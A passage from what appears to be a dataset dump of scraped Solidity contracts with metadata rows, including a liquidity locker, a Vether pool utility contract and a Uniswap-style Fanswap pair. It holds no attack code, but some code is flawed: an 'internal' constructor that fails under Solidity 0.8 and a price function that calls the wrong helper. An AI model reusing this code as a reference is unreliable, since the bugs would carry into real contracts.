require(bytes(_name).length > 0 &&
bytes(_symbol).length > 0 &&
bytes(_desc).length > 0,
"invalid strings.");
bytes memory byteCode = IERC721ByteCodeGenerator(erc721Gen).generate(_name, _symbol, _desc, msg.sender, _proxyGen);
address contractAddr;
assembly {
contractAddr := create(callvalue(), add(byteCode, 0x20), mload(byteCode))
}
require(contractAddr != address(0), "Failed While Creating ERC721 Contract.");
userContract[msg.sender] = contractAddr;
allMarketContracts[contractAddr] = true;
emit ContractCreation({
creator: msg.sender,
name: _name,
symbol: _symbol
});
}
function addToken(address _token) external onlyOwner {
require(allTokens[_token] == false, "Token already exists!");
allTokens[_token] = true;
tokens.push(_token);
}
}
| 123,493 | 190 |
44f31c5324398305c64f5974fc3d713e3c2822190853502383d352208469ee17
| 24,138 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/e6/e66Ed2E8CC8eEa9433D8ea3DC6345D845c40726c_LiquidityLocker.sol
| 3,091 | 12,529 |
pragma solidity ^0.8.16;
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)
interface IERC20Permit {
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol)
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/utils/SafeERC20.sol)
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function safePermit(IERC20Permit token,
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) internal {
uint256 nonceBefore = token.nonces(owner);
token.permit(owner, spender, value, deadline, v, r, s);
uint256 nonceAfter = token.nonces(owner);
require(nonceAfter == nonceBefore + 1, "SafeERC20: permit did not succeed");
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface ICraftsman {
function deposit(uint256 _pid, uint256 _amount) external;
function withdraw(uint256 _pid, uint256 _amount) external;
function enterStaking(uint256 _amount) external;
function leaveStaking(uint256 _amount) external;
function pendingVVS(uint256 _pid, address _user) external view returns (uint256);
function userInfo(uint256 _pid, address _user) external view returns (uint256, uint256);
function emergencyWithdraw(uint256 _pid) external;
}
contract LiquidityLocker is Ownable {
using SafeERC20 for IERC20;
address public immutable lockToken;
uint256 public lockedamount;
ICraftsman public craftsman;
address public ikki;
address public xIKKI;
uint256 public poolid;
uint256 public lockUntil;
uint256 public constant MAX_INCREASE_LOCK = 365 days;
bool isinitialze=false;
uint256 totalreward;
constructor(address _lockToken, uint256 _lockUntil){
lockToken = _lockToken;
lockUntil = _lockUntil;
}
function initialize(ICraftsman _craft,address _ikki,address _xIKKI,uint256 _pool) public onlyOwner{
require(isinitialze==false,"Already Initialize");
craftsman=_craft;
ikki=_ikki;
xIKKI=_xIKKI;
poolid=_pool;
isinitialze=true;
}
function lock(uint256 _amount) public onlyOwner{
IERC20(lockToken).safeTransferFrom(msg.sender,address(this),_amount);
lockedamount+=_amount;
}
function getpending() public view returns(uint256){
return craftsman.pendingVVS(poolid,address(this));
}
function totalearned()public view returns(uint256){
return totalreward;
}
function stake() public onlyOwner{
uint256 _bal=IERC20(lockToken).balanceOf(address(this));
IERC20(lockToken).approve(address(craftsman),_bal);
craftsman.deposit(poolid,_bal);
}
function claimreward()public onlyOwner{
craftsman.deposit(poolid,0);
uint256 bal=IERC20(ikki).balanceOf(address(this));
IERC20(ikki).safeTransfer(xIKKI,bal);
totalreward+=bal;
}
function increaseLock(uint256 _duration) external onlyOwner {
require(_duration < MAX_INCREASE_LOCK, "LiquidityLocker: duration too long");
lockUntil += _duration;
}
//claim the LP from craftsman and store in Locker contract
function claimlp() public onlyOwner{
craftsman.withdraw(poolid,lockedamount);
}
//Claim the Lp from Craftsman without reward & store in Locker contract
function EmergencyClaim() public onlyOwner{
craftsman.emergencyWithdraw(poolid);
}
//Withdraw the LP after token gets Unlocked
function withdrawLP(address _to) public onlyOwner{
require(block.timestamp>=lockUntil,"LiquidityLocker: still locked");
uint256 getbal=IERC20(lockToken).balanceOf(address(this));
IERC20(lockToken).safeTransfer(_to,getbal);
}
}
| 55,209 | 191 |
e1243adf188ea314c18a259ac43119c668087633cfa80f8c500a507562d4337e
| 15,393 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x2e74525c491954be67e8847b087ed1c3c988635d.sol
| 4,013 | 15,262 |
pragma solidity 0.6.8;
pragma experimental ABIEncoderV2;
interface iERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint);
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
}
interface iROUTER {
function totalStaked() external view returns (uint);
function totalVolume() external view returns (uint);
function totalFees() external view returns (uint);
function unstakeTx() external view returns (uint);
function stakeTx() external view returns (uint);
function swapTx() external view returns (uint);
function tokenCount() external view returns(uint);
function getToken(uint) external view returns(address);
function getPool(address) external view returns(address payable);
function stakeForMember(uint inputBase, uint inputToken, address token, address member) external payable returns (uint units);
}
interface iPOOL {
function genesis() external view returns(uint);
function baseAmt() external view returns(uint);
function tokenAmt() external view returns(uint);
function baseAmtStaked() external view returns(uint);
function tokenAmtStaked() external view returns(uint);
function fees() external view returns(uint);
function volume() external view returns(uint);
function txCount() external view returns(uint);
function getBaseAmtStaked(address) external view returns(uint);
function getTokenAmtStaked(address) external view returns(uint);
function calcValueInBase(uint) external view returns (uint);
function calcValueInToken(uint) external view returns (uint);
function calcTokenPPinBase(uint) external view returns (uint);
function calcBasePPinToken(uint) external view returns (uint);
}
interface iDAO {
function ROUTER() external view returns(address);
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Utils_Vether {
using SafeMath for uint;
address public BASE;
address public DEPLOYER;
iDAO public DAO;
uint public one = 10**18;
struct TokenDetails {
string name;
string symbol;
uint decimals;
uint totalSupply;
uint balance;
address tokenAddress;
}
struct ListedAssetDetails {
string name;
string symbol;
uint decimals;
uint totalSupply;
uint balance;
address tokenAddress;
bool hasClaimed;
}
struct GlobalDetails {
uint totalStaked;
uint totalVolume;
uint totalFees;
uint unstakeTx;
uint stakeTx;
uint swapTx;
}
struct PoolDataStruct {
address tokenAddress;
address poolAddress;
uint genesis;
uint baseAmt;
uint tokenAmt;
uint baseAmtStaked;
uint tokenAmtStaked;
uint fees;
uint volume;
uint txCount;
uint poolUnits;
}
modifier onlyDeployer() {
require(msg.sender == DEPLOYER, "DeployerErr");
_;
}
constructor () public payable {
BASE = 0x4Ba6dDd7b89ed838FEd25d208D4f644106E34279;
DEPLOYER = msg.sender;
}
function setGenesisDao(address dao) public onlyDeployer {
DAO = iDAO(dao);
}
function getTokenDetails(address token) public view returns (TokenDetails memory tokenDetails){
return getTokenDetailsWithMember(token, msg.sender);
}
function getTokenDetailsWithMember(address token, address member) public view returns (TokenDetails memory tokenDetails){
if(token == address(0)){
tokenDetails.name = 'ETHEREUM';
tokenDetails.symbol = 'ETH';
tokenDetails.decimals = 18;
tokenDetails.totalSupply = 100000000 * 10**18;
tokenDetails.balance = msg.sender.balance;
} else {
tokenDetails.name = iERC20(token).name();
tokenDetails.symbol = iERC20(token).symbol();
tokenDetails.decimals = iERC20(token).decimals();
tokenDetails.totalSupply = iERC20(token).totalSupply();
tokenDetails.balance = iERC20(token).balanceOf(member);
}
tokenDetails.tokenAddress = token;
return tokenDetails;
}
function getGlobalDetails() public view returns (GlobalDetails memory globalDetails){
globalDetails.totalStaked = iROUTER(DAO.ROUTER()).totalStaked();
globalDetails.totalVolume = iROUTER(DAO.ROUTER()).totalVolume();
globalDetails.totalFees = iROUTER(DAO.ROUTER()).totalFees();
globalDetails.unstakeTx = iROUTER(DAO.ROUTER()).unstakeTx();
globalDetails.stakeTx = iROUTER(DAO.ROUTER()).stakeTx();
globalDetails.swapTx = iROUTER(DAO.ROUTER()).swapTx();
return globalDetails;
}
function getPool(address token) public view returns(address payable pool){
return iROUTER(DAO.ROUTER()).getPool(token);
}
function tokenCount() public view returns (uint256 count){
return iROUTER(DAO.ROUTER()).tokenCount();
}
function allTokens() public view returns (address[] memory _allTokens){
return tokensInRange(0, iROUTER(DAO.ROUTER()).tokenCount()) ;
}
function tokensInRange(uint start, uint count) public view returns (address[] memory someTokens){
if(start.add(count) > tokenCount()){
count = tokenCount().sub(start);
}
address[] memory result = new address[](count);
for (uint i = 0; i < count; i++){
result[i] = iROUTER(DAO.ROUTER()).getToken(i);
}
return result;
}
function allPools() public view returns (address[] memory _allPools){
return poolsInRange(0, tokenCount());
}
function poolsInRange(uint start, uint count) public view returns (address[] memory somePools){
if(start.add(count) > tokenCount()){
count = tokenCount().sub(start);
}
address[] memory result = new address[](count);
for (uint i = 0; i<count; i++){
result[i] = getPool(iROUTER(DAO.ROUTER()).getToken(i));
}
return result;
}
function getPoolData(address token) public view returns(PoolDataStruct memory poolData){
address payable pool = getPool(token);
poolData.poolAddress = pool;
poolData.tokenAddress = token;
poolData.genesis = iPOOL(pool).genesis();
poolData.baseAmt = iPOOL(pool).baseAmt();
poolData.tokenAmt = iPOOL(pool).tokenAmt();
poolData.baseAmtStaked = iPOOL(pool).baseAmtStaked();
poolData.tokenAmtStaked = iPOOL(pool).tokenAmtStaked();
poolData.fees = iPOOL(pool).fees();
poolData.volume = iPOOL(pool).volume();
poolData.txCount = iPOOL(pool).txCount();
poolData.poolUnits = iERC20(pool).totalSupply();
return poolData;
}
function getMemberShare(address token, address member) public view returns(uint baseAmt, uint tokenAmt){
address pool = getPool(token);
uint units = iERC20(pool).balanceOf(member);
return getPoolShare(token, units);
}
function getPoolShare(address token, uint units) public view returns(uint baseAmt, uint tokenAmt){
address payable pool = getPool(token);
baseAmt = calcShare(units, iERC20(pool).totalSupply(), iPOOL(pool).baseAmt());
tokenAmt = calcShare(units, iERC20(pool).totalSupply(), iPOOL(pool).tokenAmt());
return (baseAmt, tokenAmt);
}
function getShareOfBaseAmount(address token, address member) public view returns(uint baseAmt){
address payable pool = getPool(token);
uint units = iERC20(pool).balanceOf(member);
return calcShare(units, iERC20(pool).totalSupply(), iPOOL(pool).baseAmt());
}
function getShareOfTokenAmount(address token, address member) public view returns(uint baseAmt){
address payable pool = getPool(token);
uint units = iERC20(pool).balanceOf(member);
return calcShare(units, iERC20(pool).totalSupply(), iPOOL(pool).tokenAmt());
}
function getPoolShareAssym(address token, uint units, bool toBase) public view returns(uint baseAmt, uint tokenAmt, uint outputAmt){
address payable pool = getPool(token);
if(toBase){
baseAmt = calcAsymmetricShare(units, iERC20(pool).totalSupply(), iPOOL(pool).baseAmt());
tokenAmt = 0;
outputAmt = baseAmt;
} else {
baseAmt = 0;
tokenAmt = calcAsymmetricShare(units, iERC20(pool).totalSupply(), iPOOL(pool).tokenAmt());
outputAmt = tokenAmt;
}
return (baseAmt, tokenAmt, outputAmt);
}
function getPoolAge(address token) public view returns (uint daysSinceGenesis){
address payable pool = getPool(token);
uint genesis = iPOOL(pool).genesis();
if(now < genesis.add(86400)){
return 1;
} else {
return (now.sub(genesis)).div(86400);
}
}
function getPoolROI(address token) public view returns (uint roi){
address payable pool = getPool(token);
uint _baseStart = iPOOL(pool).baseAmtStaked().mul(2);
uint _baseEnd = iPOOL(pool).baseAmt().mul(2);
uint _ROIS = (_baseEnd.mul(10000)).div(_baseStart);
uint _tokenStart = iPOOL(pool).tokenAmtStaked().mul(2);
uint _tokenEnd = iPOOL(pool).tokenAmt().mul(2);
uint _ROIA = (_tokenEnd.mul(10000)).div(_tokenStart);
return (_ROIS + _ROIA).div(2);
}
function getPoolAPY(address token) public view returns (uint apy){
uint avgROI = getPoolROI(token);
uint poolAge = getPoolAge(token);
return (avgROI.mul(365)).div(poolAge);
}
function isMember(address token, address member) public view returns(bool){
address payable pool = getPool(token);
if (iERC20(pool).balanceOf(member) > 0){
return true;
} else {
return false;
}
}
function calcValueInBase(address token, uint amount) public view returns (uint value){
address payable pool = getPool(token);
return calcValueInBaseWithPool(pool, amount);
}
function calcValueInToken(address token, uint amount) public view returns (uint value){
address payable pool = getPool(token);
return calcValueInTokenWithPool(pool, amount);
}
function calcTokenPPinBase(address token, uint amount) public view returns (uint _output){
address payable pool = getPool(token);
return calcTokenPPinBaseWithPool(pool, amount);
}
function calcBasePPinToken(address token, uint amount) public view returns (uint _output){
address payable pool = getPool(token);
return calcValueInBaseWithPool(pool, amount);
}
function calcValueInBaseWithPool(address payable pool, uint amount) public view returns (uint value){
uint _baseAmt = iPOOL(pool).baseAmt();
uint _tokenAmt = iPOOL(pool).tokenAmt();
return (amount.mul(_baseAmt)).div(_tokenAmt);
}
function calcValueInTokenWithPool(address payable pool, uint amount) public view returns (uint value){
uint _baseAmt = iPOOL(pool).baseAmt();
uint _tokenAmt = iPOOL(pool).tokenAmt();
return (amount.mul(_tokenAmt)).div(_baseAmt);
}
function calcTokenPPinBaseWithPool(address payable pool, uint amount) public view returns (uint _output){
uint _baseAmt = iPOOL(pool).baseAmt();
uint _tokenAmt = iPOOL(pool).tokenAmt();
return calcSwapOutput(amount, _tokenAmt, _baseAmt);
}
function calcBasePPinTokenWithPool(address payable pool, uint amount) public view returns (uint _output){
uint _baseAmt = iPOOL(pool).baseAmt();
uint _tokenAmt = iPOOL(pool).tokenAmt();
return calcSwapOutput(amount, _baseAmt, _tokenAmt);
}
function calcPart(uint bp, uint total) public pure returns (uint part){
require((bp <= 10000) && (bp > 0), "Must be correct BP");
return calcShare(bp, 10000, total);
}
function calcShare(uint part, uint total, uint amount) public pure returns (uint share){
return(amount.mul(part)).div(total);
}
function calcSwapOutput(uint x, uint X, uint Y) public pure returns (uint output){
uint numerator = x.mul(X.mul(Y));
uint denominator = (x.add(X)).mul(x.add(X));
return numerator.div(denominator);
}
function calcSwapFee(uint x, uint X, uint Y) public pure returns (uint output){
uint numerator = x.mul(x.mul(Y));
uint denominator = (x.add(X)).mul(x.add(X));
return numerator.div(denominator);
}
function calcSwapInputFee(uint x, uint X) public pure returns (uint output){
uint numerator = x.mul(x);
uint denominator = x.add(X);
return numerator.div(denominator);
}
function calcStakeUnits(uint b, uint B, uint t, uint T, uint P) public view returns (uint units){
if(P == 0){
return b;
} else {
uint slipAdjustment = getSlipAdustment(b, B, t, T);
uint part1 = t.mul(B);
uint part2 = T.mul(b);
uint part3 = T.mul(B).mul(2);
uint _units = (P.mul(part1.add(part2))).div(part3);
return _units.mul(slipAdjustment).div(one); // Divide by 10**18
}
}
function getSlipAdustment(uint b, uint B, uint t, uint T) public view returns (uint slipAdjustment){
uint part1 = B.mul(t);
uint part2 = b.mul(T);
uint part3 = b.mul(2).add(B);
uint part4 = t.add(T);
uint numerator;
if(part1 > part2){
numerator = part1.sub(part2);
} else {
numerator = part2.sub(part1);
}
uint denominator = part3.mul(part4);
return one.sub((numerator.mul(one)).div(denominator)); // Multiply by 10**18
}
function calcAsymmetricShare(uint u, uint U, uint A) public pure returns (uint share){
uint part1 = u.mul(A);
uint part2 = U.mul(U).mul(2);
uint part3 = U.mul(u).mul(2);
uint part4 = u.mul(u);
uint numerator = part1.mul(part2.sub(part3).add(part4));
uint part5 = U.mul(U).mul(U);
return numerator.div(part5);
}
}
| 274,978 | 192 |
a419ab4da4bfbc4147a93a9d29103e62e780631ad5233ac1945b0b7e19a8bd35
| 19,718 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/1f/1f95004efad8a202250f4c5bc166469865fcc9da_FanswapFactory.sol
| 5,212 | 18,702 |
pragma solidity ^0.8.11;
// SPDX-License-Identifier: Unlicensed
interface IFanswapFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IFanswapERC20 is IERC20 {
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
interface IFanswapPair is IFanswapERC20 {
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
contract FanswapERC20 is IFanswapERC20 {
using SafeMath for uint;
string public constant name = 'Fanswap LPs';
string public symbol = 'Fanswap-LP';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
constructor() {
uint chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)));
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != type(uint).max) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'Fanswap: EXPIRED');
bytes32 digest = keccak256(abi.encodePacked('\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))));
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'Fanswap: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
interface IFanswapCallee {
function FanswapCall(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
contract FanswapPair is IFanswapPair, FanswapERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'Fanswap: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'Fanswap: TRANSFER_FAILED');
}
constructor() {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'Fanswap: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
string memory symbol0 = IERC20(token0).symbol();
string memory symbol1 = IERC20(token1).symbol();
symbol = string(abi.encodePacked(symbol0, "/", symbol1));
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= type(uint112).max && balance1 <= type(uint112).max, 'Fanswap: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 8/25 of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IFanswapFactory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
